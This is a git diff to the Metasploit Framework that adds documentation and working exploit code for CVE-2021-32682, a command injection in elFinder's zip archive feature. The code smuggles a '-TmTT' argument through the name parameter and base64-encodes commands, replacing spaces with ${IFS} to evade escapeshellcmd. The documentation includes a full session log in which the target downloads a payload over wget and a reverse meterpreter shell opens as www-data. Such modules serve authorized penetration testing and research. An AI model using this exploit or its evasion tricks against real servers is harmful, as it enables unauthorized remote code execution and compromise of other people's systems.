diff --git a/documentation/modules/exploit/linux/http/elfinder_archive_cmd_injection.md b/documentation/modules/exploit/linux/http/elfinder_archive_cmd_injection.md new file mode 100644 index 0000000000..c340b95c0c --- /dev/null +++ b/documentation/modules/exploit/linux/http/elfinder_archive_cmd_injection.md @@ -0,0 +1,74 @@ +## Vulnerable Application + +elFinder versions below 2.1.59 are vulnerable to a command injection +vulnerability via its archive functionality. + +When creating a new zip archive, the `name` parameter is sanitized +with the `escapeshellcmd()` php function and then passed to the +`zip` utility. Despite the sanitization, supplying the `-TmTT` +argument as part of the `name` parameter is still permitted and +enables the execution of arbitrary commands as the `www-data` user. + +Tested on elFinder versions `2.1.57`, `2.1.58`, and `2.1.59`. + +### Installation Steps + +1. Set up a php server +2. Download a vulnerable version of the elFinder [software](https://github.com/Studio-42/elFinder/archive/2.1.58.zip) +3. Rename the minimal connector file: `mv /php/connector.minimal.php-dist /php/connector.minimal.php` +4. Access the software at `http:///elfinder.html` + +Additional installation methods can be found [here](https://github.com/Studio-42/elFinder#installation). + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/elfinder_archive_cmd_injection` +4. Do: `set RHOST ` +5. Do: `set LHOST ` +6. Do: `run` +7. You should get a meterpreter session. + +## Scenarios + +### elFinder `v2.1.58` on Ubuntu 20.04.1 + +``` +msf6 > use exploit/linux/http/elfinder_archive_cmd_injection +[*] Using configured payload linux/x86/meterpreter/reverse_tcp +msf6 exploit(linux/http/elfinder_archive_cmd_injection) > set rhost 192.168.140.128 +rhost => 192.168.140.128 +msf6 exploit(linux/http/elfinder_archive_cmd_injection) > set lhost 192.168.140.1 +lhost => 192.168.140.1 +msf6 exploit(linux/http/elfinder_archive_cmd_injection) > run + +[*] Started reverse TCP handler on 192.168.140.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. elFinder running version 2.1.58 +[*] Uploading file LojGHIOkAW.txt to elFinder +[+] Text file was successfully uploaded! +[*] Attempting to create archive fMuuXCkA.zip +[+] Archive was successfully created! +[*] Using URL: http://0.0.0.0:8080/OR3Kz5kxLZp +[*] Local IP: http://192.168.1.199:8080/OR3Kz5kxLZp +[*] Client 192.168.140.128 (Wget/1.20.3 (linux-gnu)) requested /OR3Kz5kxLZp +[*] Sending payload to 192.168.140.128 (Wget/1.20.3 (linux-gnu)) +[*] Command Stager progress - 62.50% done (75/120 bytes) +[*] Command Stager progress - 89.17% done (107/120 bytes) +[*] Sending stage (984904 bytes) to 192.168.140.128 +[+] Deleted LojGHIOkAW.txt +[+] Deleted fMuuXCkA.zip +[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.128:39822) at 2021-09-09 16:10:06 -0500 +[*] Command Stager progress - 100.00% done (120/120 bytes) +[*] Server stopped. + +meterpreter > getuid +Server username: www-data @ ubuntu (uid=33, gid=33, euid=33, egid=33) +meterpreter > sysinfo +Computer : 192.168.140.128 +OS : Ubuntu 20.04 (Linux 5.11.0-27-generic) +Architecture : x64 +BuildTuple : i486-linux-musl +Meterpreter : x86/linux +``` diff --git a/modules/exploits/linux/http/elfinder_archive_cmd_injection.rb b/modules/exploits/linux/http/elfinder_archive_cmd_injection.rb index e3db432706..69d13bd557 100644 --- a/modules/exploits/linux/http/elfinder_archive_cmd_injection.rb +++ b/modules/exploits/linux/http/elfinder_archive_cmd_injection.rb @@ -4,7 +4,7 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = NormalRanking + Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient @@ -17,11 +17,19 @@ class MetasploitModule < Msf::Exploit::Remote info, 'Name' => 'elFinder Archive Command Injection', 'Description' => %q{ + elFinder versions below 2.1.59 are vulnerable to a command injection + vulnerability via its archive functionality. + + When creating a new zip archive, the `name` parameter is sanitized + with the `escapeshellcmd()` php function and then passed to the + `zip` utility. Despite the sanitization, supplying the `-TmTT` + argument as part of the `name` parameter is still permitted and + enables the execution of arbitrary commands as the `www-data` user. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Thomas Chauchefoin', # discovery - 'Shelby Pace' # metasploit module + 'Thomas Chauchefoin', # Discovery + 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'CVE', '2021-32682' ], @@ -36,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'CmdStagerFlavor' => [ 'wget', 'curl' ], + 'CmdStagerFlavor' => [ 'wget' ], 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' } } ] @@ -44,9 +52,9 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => '2021-06-13', 'DefaultTarget' => 0, 'Notes' => { - 'Stability' => [], - 'Reliability' => [], - 'SideEffects' => [ IOC_IN_LOGS ] + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) @@ -55,7 +63,36 @@ class MetasploitModule < Msf::Exploit::Remote end def check - Exploit::CheckCode::Vulnerable + res = send_request_cgi( + 'method' => 'GET', + 'uri' => upload_uri + ) + + return CheckCode::Unknown('Failed to retrieve a response') unless res + return CheckCode::Safe('Failed to detect elFinder') unless res.body.include?('["errUnknownCmd"]') + + vprint_status('Attempting to check the changelog for elFinder version') + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'Changelog') + ) + + unless res + return CheckCode::Detected('elFinder is running, but cannot detect version through the changelog') + end + + # * elFinder (2.1.58) + vers_str = res.body.match(/\*\s+elFinder\s+\((\d+\.\d+\.\d+)\)/) + if vers_str.nil? || vers_str.length <= 1 + return CheckCode::Detected('elFinder is running, but couldn\'t retrieve the version') + end + + version_found = Rex::Version.new(vers_str[1]) + if version_found < Rex::Version.new('2.1.59') + return CheckCode::Appears("elFinder running version #{vers_str[1]}") + end + + CheckCode::Safe("Detected elFinder version #{vers_str[1]}, which is not vulnerable") end def upload_uri @@ -106,13 +143,14 @@ class MetasploitModule < Msf::Exploit::Remote send_request_cgi( 'method' => 'GET', 'uri' => upload_uri, + 'encode_params' => false, 'vars_get' => { 'cmd' => 'archive', 'name' => archive_name, 'target' => 'l1_Lw', 'type' => 'application/zip', - 'targets[]' => files_to_archive.join('&targets%5B%5D=') + 'targets[]' => files_to_archive.join('&targets[]=') } ) end @@ -134,12 +172,15 @@ class MetasploitModule < Msf::Exploit::Remote # zip -r9 -q '-TmTT="$(id>out.txt)foooo".zip' './a.zip' './a.txt' - sonarsource blog post def execute_command(cmd, _opts = {}) + cmd = "echo #{Rex::Text.encode_base64(cmd)} | base64 -d |sh" cmd_arg = "-TmTT=\"$(#{cmd})#{Rex::Text.rand_text_alpha(1..3)}\"" - create_archive(cmd_arg, @txt_file, @archive_name) + cmd_arg = cmd_arg.gsub(' ', '${IFS}') + + create_archive(cmd_arg, @archive_name, @txt_file) end def exploit setup_files_for_sploit - execute_cmdstager(nospace: true, noconcat: true, nodelete: true) + execute_cmdstager(noconcat: true, linemax: 150) end end